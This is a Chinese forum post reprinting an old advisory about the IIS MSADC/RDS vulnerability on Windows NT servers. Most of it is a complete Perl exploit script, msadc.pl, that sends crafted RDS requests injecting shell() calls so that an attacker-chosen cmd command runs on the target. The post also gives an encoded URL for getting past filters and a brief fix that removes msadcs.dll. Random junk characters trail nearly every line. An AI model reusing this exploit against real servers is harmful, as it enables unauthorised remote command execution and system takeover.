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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 66'TdF]"  
nfDPM\FFD  
涉及程序: jd2Fh):q  
Microsoft NT server m2|0<P@k!  
!gf&l ^)  
描述: 'KQu z)-  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 g\(7z P  
wKY6[vvF  
详细: |x<  
如果你没有时间读详细内容的话,就删除: \0WMb  
c:\Program Files\Common Files\System\Msadc\msadcs.dll m; ABHq#  
有关的安全问题就没有了。 S|]~,l2]}  
Gs?W7}<$  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 9$DVG/  
Zc9 n0t[  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 "-xC59,  
关于利用ODBC远程漏洞的描述,请参看: :{66WSa@Dd  
1|gP :t}  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm KUyua~tF  
~+lC %R  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 e-}PJ%!,T  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp aYj3a;EmU  
TVFGonVY  
这里不再论述。 %okEN !=  
Pm?6]] 7  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ,+X8?9v  
c~RIl5j  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset |nt J+  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Pucf0 #  
*q0N$}k  
_~cmR<  
#将下面这段保存为txt文件,然后: "perl -x 文件名" OC>" +  
Jx>P%>+<j  
#!perl e;6Sj  
# ;JmD(T7{  
# MSADC/RDS 'usage' (aka exploit) script huTJ a2  
# <aHK{ *'3  
# by rain.forest.puppy E>g'!  
# zWY6D4   
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me @W @L%<  
# beta test and find errors! g{J3Ba  
B)-S@.u  
use Socket; use Getopt::Std; T]vD ,I+  
getopts("e:vd:h:XR", \%args); '[-/X a['  
_>`0!mG  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; yQx>h6  
;:!LAe  
if (!defined $args{h} && !defined $args{R}) { #SqOJX~Q  
print qq~ 9xKFX|*$  
Usage: msadc.pl -h <host> { -d <delay> -X -v } XW#4C*5?d  
-h <host> = host you want to scan (ip or domain) Lw#h nLI.  
-d <seconds> = delay between calls, default 1 second z H \*v'  
-X = dump Index Server path table, if available e.jgV=dT-  
-v = verbose +'Ge?(E4_  
-e = external dictionary file for step 5 u51/B:+   
isd[l-wAmf  
Or a -R will resume a command session LTY.i3  
FCe503qND$  
~; exit;} Yj"UD:p  
X! ]~]%K$y  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; wk/->Rz  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ry< P LRN  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Fu`g)#Z  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); I&xRK'  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Q.|2/6hD7[  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } {'ZnxK'  
o&AUB` .9~  
if (!defined $args{R}){ $ret = &has_msadc; A |&EI-In  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} VC+\RB#:-  
~J2Q0Jv  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 9qW,I|G  
. "cmd /c "; X%-4x   
$in=<STDIN>; chomp $in; WIGb7}egR  
$command="cmd /c " . $in ; t!=S[  
<7&b|f$CL  
if (defined $args{R}) {&load; exit;} k@Tt,.];  
cnc$^[c  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ]d[q:N]z  
&try_btcustmr; 4Oy c D  
>r*Zm2($MR  
print "\nStep 2: Trying to make our own DSN..."; j;y|Ys)I  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; c1 <g!Q&E  
7/1S5yUr|  
print "\nStep 3: Trying known DSNs..."; ?~K2&eo  
&known_dsn; :U*[s$  
fr?eOigbl  
print "\nStep 4: Trying known .mdbs..."; 'I~dJEW7  
&known_mdb; MQ+ek4  
5R Hs  
if (defined $args{e}){ Iu[EUi!"  
print "\nStep 5: Trying dictionary of DSN names..."; f LW>-O73  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Vg+SXq6G  
ZJpI]^9|  
print "Sorry Charley...maybe next time?\n"; lV 9q;!/1  
exit; CL*%06QyE  
9mnON~j5  
############################################################################## |l|]Tw  
xH0/R LK3J  
sub sendraw { # ripped and modded from whisker xki"'  
sleep($delay); # it's a DoS on the server! At least on mine... FX^E |  
my ($pstr)=@_; NLpD,q{  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || G#V22Wca8  
die("Socket problems\n"); e>^R 8qM?  
if(connect(S,pack "SnA4x8",2,80,$target)){ s`B'vyoaa  
select(S); $|=1; k Mo)4 Xp  
print $pstr; my @in=<S>; dF,FH-  
select(STDOUT); close(S); 5^dw!^d  
return @in; `R> O5Rv  
} else { die("Can't connect...\n"); }} 1fy{@j(W  
=FbfV*K 9  
############################################################################## pUr[MnQLf  
7" [;M  
sub make_header { # make the HTTP request ts]7 + 6V  
my $msadc=<<EOT x\DkS,O  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ' 7A7HDJ  
User-Agent: ACTIVEDATA _#O?g=1  
Host: $ip >+#[O"  
Content-Length: $clen JW\"S  
Connection: Keep-Alive ,2`d3u^CW  
 {5udol5?  
ADCClientVersion:01.06 W24bO|>D  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ~roHnJ>  
k +Oq$Pi  
--!ADM!ROX!YOUR!WORLD! z!+<m<  
Content-Type: application/x-varg a}K+w7VY\  
Content-Length: $reqlen l)8V:MK  
Lk9>7xY  
EOT IO#W#wW$M  
; $msadc=~s/\n/\r\n/g; [UH5D~Yx  
return $msadc;} ^ztf:'l@C  
CA4-&O"  
############################################################################## o^?{j*)g  
;$QJnQ"R  
sub make_req { # make the RDS request a{+oN $  
my ($switch, $p1, $p2)=@_; DR /)hAE  
my $req=""; my $t1, $t2, $query, $dsn;  vt N5{C  
>I?Mi{'a  
if ($switch==1){ # this is the btcustmr.mdb query Bkc-iC}F  
$query="Select * from Customers where City=" . make_shell(); XV>6;!=E  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 4m*(D5Y=|  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} $<4Ar*i  
DBUwf1=qj  
elsif ($switch==2){ # this is general make table query mz*z1`\7v\  
$query="create table AZZ (B int, C varchar(10))"; X$9QW3.M  
$dsn="$p1";} ~@8d[Tb  
Yg[IEy  
elsif ($switch==3){ # this is general exploit table query F47n_JV!d  
$query="select * from AZZ where C=" . make_shell(); p L@zZK0  
$dsn="$p1";} m_2P{  
!r*;R\!n2  
elsif ($switch==4){ # attempt to hork file info from index server x]oQl^ F  
$query="select path from scope()"; Q*.FUV&;  
$dsn="Provider=MSIDXS;";} / aG>we  
`5Btg. &  
elsif ($switch==5){ # bad query (w eokP!  
$query="select"; F9\Ot^~  
$dsn="$p1";} GZEonCk[&  
(J&Xo.<Z-  
$t1= make_unicode($query); mM* yv  
$t2= make_unicode($dsn); _,FoXf7  
$req = "\x02\x00\x03\x00"; ~8(X@~Tn*  
$req.= "\x08\x00" . pack ("S1", length($t1)); nY9qYFw  
$req.= "\x00\x00" . $t1 ; Nr9[Vz?$P  
$req.= "\x08\x00" . pack ("S1", length($t2)); gKN_~{{OD  
$req.= "\x00\x00" . $t2 ; b3xkJ&Z  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; j/D)UWkR  
return $req;} 8>Z$/1Mh  
UD2<!a'T  
############################################################################## +^? -}v  
{*;]I?9Al  
sub make_shell { # this makes the shell() statement C..2y4bA}  
return "'|shell(\"$command\")|'";} 'w[d^L   
$`{q[{  
############################################################################## Q!X_&ao )O  
cWO )QIE  
sub make_unicode { # quick little function to convert to unicode TRLeZ0EC  
my ($in)=@_; my $out; t`T\d\  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } `E=rh3 L0o  
return $out;} cqY.^f.  
xm|4\H&Bg  
############################################################################## .)> /!|i  
N&APqT  
sub rdo_success { # checks for RDO return success (this is kludge) {(}w4.!  
my (@in) = @_; my $base=content_start(@in); ~'J =!Xy  
if($in[$base]=~/multipart\/mixed/){ LGROEn<*d  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} i?>> 9f@F  
return 0;} CQ.4,S}6'  
Y-q@~v Z]  
############################################################################## O2]r]9sh*  
= 6<w'>  
sub make_dsn { # this makes a DSN for us _MbVF>JOx  
my @drives=("c","d","e","f"); &8+6!TN7  
print "\nMaking DSN: "; V-;nj,.mY  
foreach $drive (@drives) { IIQ3|eZ  
print "$drive: "; v* ~%x  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . fslk7RlSKg  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" NzAtdcwR  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); mK40 f  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ^lai!uZVa  
return 0 if $2 eq "404"; # not found/doesn't exist LnTe_Q7_  
if($2 eq "200") { @MZ6E$I  
foreach $line (@results) { x;FO|fH  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} mnQjX ?  
} return 0;} QP5:M!O<)  
xrVZxK:!  
############################################################################## S~rVRC"<xo  
9U9c"'g  
sub verify_exists { V,XP&,no\j  
my ($page)=@_; Z#Zzi5<  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 4zqE?$HM'  
return $results[0];} )SL@ >Cij  
_RaVnMJKX4  
############################################################################## tw4am.o1]  
ONN{4&7@<  
sub try_btcustmr { |g\.5IM#W  
my @drives=("c","d","e","f"); #~URLN  
my @dirs=("winnt","winnt35","winnt351","win","windows"); k]$E8[.t  
9hR:y.  
foreach $dir (@dirs) { K~Au?\{  
print "$dir -> "; # fun status so you can see progress Wqs.oh  
foreach $drive (@drives) { [> &+*c  
print "$drive: "; # ditto udEb/7ZL  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Fm$n@R bX  
$reqlenlen=length( "$reqlen" ); L2>?m`wp  
$clen= 206 + $reqlenlen + $reqlen; hw ;dm  
*T>#zR{  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); =!S@tuY  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ADyNNMcx  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Tt<-<oyU.  
 _WDBG  
############################################################################## 86[RH!e  
m{lRFKx>s  
sub odbc_error { h"BhTx7E}  
my (@in)=@_; my $base; &Qq/Xi,bZ  
my $base = content_start(@in); VJl &Bq+  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this >b4YbLkI#  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $: 4mOl  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =>:% n  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &FJU%tFA  
return $in[$base+4].$in[$base+5].$in[$base+6];} }GN kB  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ZaRr2Z:!  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 7<R6T9g  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} HV*:<2P%D  
vN0L( B  
############################################################################## a(x.{}uG,  
XU;{28P  
sub verbose { 4lY&=_K[)  
my ($in)=@_; 0l(E!d8&'  
return if !$verbose; uD ?I>7  
print STDOUT "\n$in\n";} p9&gEW  
3)C6OF>7  
############################################################################## vbWJhj K0h  
o]|oAN9  
sub save { lrmt)BLoh  
my ($p1, $p2, $p3, $p4)=@_; f>s#Ngvc  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; KMpDlit  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; >uyeI&z  
close OUT;} c69U1  
s=q%:uCO  
############################################################################## sxN>+v11z  
c ?p0#3%L#  
sub load { 1%SJ1oY  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; |~/3u/  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ^^4K/XBve  
@p=<IN>; close(IN); s]F?=yEp  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); iJCY /*C}  
$target= inet_aton($ip) || die("inet_aton problems"); vGPf`2/j.  
print "Resuming to $ip ..."; f gK2.;>  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; bG5^h  
if($p[1]==1) { T.R>xd`9 "  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; taWirq d9  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 8"?Vcw&  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Sg CqxFii  
if (rdo_success(@results)){print "Success!\n";} q(ZB.  
else { print "failed\n"; verbose(odbc_error(@results));}} RR~sEUCo{  
elsif ($p[1]==3){ w L/p.@  
if(run_query("$p[3]")){ k Z+q  
print "Success!\n";} else { print "failed\n"; }} zH=/.31Q  
elsif ($p[1]==4){ -+ ]T77r  
if(run_query($drvst . "$p[3]")){ jlRl2 #"  
print "Success!\n"; } else { print "failed\n"; }} ,yHzo  
exit;} pjX%LsX\  
u n?j  
############################################################################## 1kvPiV=X>  
dt-Qu},8-  
sub create_table { b[{m>Fa+o#  
my ($in)=@_; 4hsPbUx9  
$reqlen=length( make_req(2,$in,"") ) - 28; /@9-!cL  
$reqlenlen=length( "$reqlen" ); ;I!+ lx3[  
$clen= 206 + $reqlenlen + $reqlen; R (tiIo  
my @results=sendraw(make_header() . make_req(2,$in,"")); :c~9>GCE&  
return 1 if rdo_success(@results); PSP1>-7)w  
my $temp= odbc_error(@results); verbose($temp); fB;&n  
return 1 if $temp=~/Table 'AZZ' already exists/; wc6 E- rB  
return 0;} q7O,I`KaJ  
0%h [0jGj  
############################################################################## QoW ( tM  
6o[0sM_];  
sub known_dsn { xE G+%Uk{  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go |MOn0 *  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Xmf  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", $n=W2WJ6f  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); U,%s;  
Q-! i$#-  
foreach $dSn (@dsns) { RlI W&y  
print "."; e/]O<,*  
next if (!is_access("DSN=$dSn")); c{'$=lR "  
if(create_table("DSN=$dSn")){ ys&"r":I  
print "$dSn successful\n"; g^s+C Z  
if(run_query("DSN=$dSn")){ wq:b j=j  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { M(;y~ |e  
print "Something's borked. Use verbose next time\n";}}} print "\n";} %gV)arwK  
$?]@_=  
############################################################################## bGGeg%7  
4B:\  
sub is_access { jsk:fh0~M  
my ($in)=@_; ]6a/0rg:t  
$reqlen=length( make_req(5,$in,"") ) - 28; ^G|w8t+^  
$reqlenlen=length( "$reqlen" ); vO}qjw  
$clen= 206 + $reqlenlen + $reqlen; Ap F*a$),  
my @results=sendraw(make_header() . make_req(5,$in,"")); * ajFZI  
my $temp= odbc_error(@results); !7:EE,W~  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ]iz_w`I\  
return 0;} q=P f^Xp  
652uZ};e  
############################################################################## [5]R?bQ0q{  
4&FNU)tt  
sub run_query { 07$/]eO%C  
my ($in)=@_; 2k.S[?)  
$reqlen=length( make_req(3,$in,"") ) - 28; cOzg/~\1  
$reqlenlen=length( "$reqlen" ); *fxep08B  
$clen= 206 + $reqlenlen + $reqlen; QE7+rBa  
my @results=sendraw(make_header() . make_req(3,$in,"")); S2koXg(  
return 1 if rdo_success(@results); vbr~<JT=  
my $temp= odbc_error(@results); verbose($temp);  'P@=/  
return 0;} ucQezmie  
K:}h\ In  
############################################################################## (A7T}znG  
*)j@G:  
sub known_mdb { $x;tSJ)m~  
my @drives=("c","d","e","f","g"); Nf=C?`L  
my @dirs=("winnt","winnt35","winnt351","win","windows"); )x$!K[=  
my $dir, $drive, $mdb; y-E1]4?})  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; z7'n, [  
7,pjej  
# this is sparse, because I don't know of many a='IT 5  
my @sysmdbs=( "\\catroot\\icatalog.mdb", z{_mEE49  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ggrI>vaw  
"\\system32\\certmdb.mdb", xT{TVHdU  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% y,'FTP9?  
<h'8w  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #Y;.>mF  
"\\cfusion\\cfapps\\forums\\forums_.mdb", %3]3r*e&5  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 21.YO]Et  
"\\cfusion\\cfapps\\security\\realm_.mdb", !&@2  
"\\cfusion\\cfapps\\security\\data\\realm.mdb",  K&j' c  
"\\cfusion\\database\\cfexamples.mdb", z `\# $  
"\\cfusion\\database\\cfsnippets.mdb", bcq@N  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", f?2zLE>u  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", mcvDxjk,h  
"\\cfusion\\brighttiger\\database\\cleam.mdb", PfVEv *  
"\\cfusion\\database\\smpolicy.mdb", re7!p(W?,  
"\\cfusion\\database\cypress.mdb", b0r,h)R  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", zSEr4^Dk4  
"\\website\\cgi-win\\dbsample.mdb", 8lMZ  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", EwTS!gL  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" b2a'KczV  
); #these are just 9U!JK3d  
foreach $drive (@drives) { ~&lQNl3`m6  
foreach $dir (@dirs){ V^j3y`K  
foreach $mdb (@sysmdbs) { 2;&mkc K'  
print "."; ?+3R^%`V  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ \U==f &G?J  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =ft9T&ciD  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ \V._Z>]  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 91BY]N  
} else { print "Something's borked. Use verbose next time\n"; }}}}} `ff j8U  
Z$Z`@&U=  
foreach $drive (@drives) { 5k K= S  
foreach $mdb (@mdbs) { j1'\R+4U  
print "."; CoKiQUW  
if(create_table($drv . $drive . $dir . $mdb)){ Us1@\|]  
print "\n" . $drive . $dir . $mdb . " successful\n"; !.9l4@z#  
if(run_query($drv . $drive . $dir . $mdb)){ 5r'=O2AZX  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Sq?,C&LsA  
} else { print "Something's borked. Use verbose next time\n"; }}}} ]a8eDy  
} g* %bzfk=|  
Y3D3.T6Q  
############################################################################## D5=C^`$2  
|p;4dL  
sub hork_idx { fwRGT|":B  
print "\nAttempting to dump Index Server tables...\n"; 0rV/qMo;K  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 2q+la|1Cr  
$reqlen=length( make_req(4,"","") ) - 28; DKR<W.!*t  
$reqlenlen=length( "$reqlen" ); OdO{xG G@  
$clen= 206 + $reqlenlen + $reqlen; {PL,VY)Z  
my @results=sendraw2(make_header() . make_req(4,"","")); BeAk 21xb  
if (rdo_success(@results)){ 7^HpVcSM  
my $max=@results; my $c; my %d; r Z pbu>S  
for($c=19; $c<$max; $c++){ C=8H)Ef,l  
$results[$c]=~s/\x00//g; cvxIp#FbW  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ,&0Z]*  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; `$H7KIG  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Xu6jHJ@x  
$d{"$1$2"}="";} JFe4/ V  
foreach $c (keys %d){ print "$c\n"; } g .3f2w  
} else {print "Index server doesn't seem to be installed.\n"; }} ! &y  
JAN|aCzD  
############################################################################## ,Ie<'>hd  
tzZ|S<e6=\  
sub dsn_dict { 6!@0VI&P  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); tAaYL \~  
while(<IN>){ *8/VSs  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; e "_&z# 2_  
next if (!is_access("DSN=$dSn")); v<j2L"bj  
if(create_table("DSN=$dSn")){ W^wd ([  
print "$dSn successful\n"; 6ezcS}:+  
if(run_query("DSN=$dSn")){ ~'(9?81d  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { yz2(_@R  
print "Something's borked. Use verbose next time\n";}}} ? %93b ,7  
print "\n"; close(IN);} (WJV.GcP1  
n>n"{!  
############################################################################## EVWA\RO'\  
?b5H 2 W  
sub sendraw2 { # ripped and modded from whisker eVTO#R*'|  
sleep($delay); # it's a DoS on the server! At least on mine... }&mj.hGv  
my ($pstr)=@_; {798=pC<.  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || AYt*'Zeg!s  
die("Socket problems\n"); ]Uu aN8  
if(connect(S,pack "SnA4x8",2,80,$target)){ iL+y(]  
print "Connected. Getting data"; r9<V%PH v  
open(OUT,">raw.out"); my @in; fa"\=V2S  
select(S); $|=1; print $pstr; ZH% we  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Ohc^d"[7  
close(OUT); select(STDOUT); close(S); return @in; #iiwD|  
} else { die("Can't connect...\n"); }} $khrWiX  
,b$z!dvhl  
############################################################################## :u AjV  
UB a-  
sub content_start { # this will take in the server headers -E:(w<];  
my (@in)=@_; my $c; n7@j}Q(&?  
for ($c=1;$c<500;$c++) { @$Yb#$/  
if($in[$c] =~/^\x0d\x0a/){ \` &ej{  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Bf/ |{@  
else { return $c+1; }}} gUspGsfr  
return -1;} # it should never get here actually N_0pO<<cs  
:fhB*SYK  
############################################################################## *aI~W^N3  
3XnE y +  
sub funky { # 9V'';:  
my (@in)=@_; my $error=odbc_error(@in); RTZ:U@  
if($error=~/ADO could not find the specified provider/){ Q~8y4=|#CY  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; hc"6u\>  
exit;} s88y{o  
if($error=~/A Handler is required/){ 2g0K76=Co:  
print "\nServer has custom handler filters (they most likely are patched)\n"; I-TlrW=t  
exit;} <vL}l:r  
if($error=~/specified Handler has denied Access/){ f*v1J<1#  
print "\nServer has custom handler filters (they most likely are patched)\n"; {|Bd?U;  
exit;}} SijS5irfk  
#.o0mguU  
############################################################################## Q]^Yi1PbS  
} +1'{B"I  
sub has_msadc { sx:Hv1d  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); uQWp+}>ZJy  
my $base=content_start(@results); 4AuH1m)<  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); O hi D  
return 0;} +3)[> {~1Z  
QsM*wT&aa  
######################## A=0@UqM  
Qd?CTYNsv  
a/:]"`)  
解决方案: 1c / X  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll K|Om5 p  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 i2`#   
? -CV %l  
拿出来充数 哈哈
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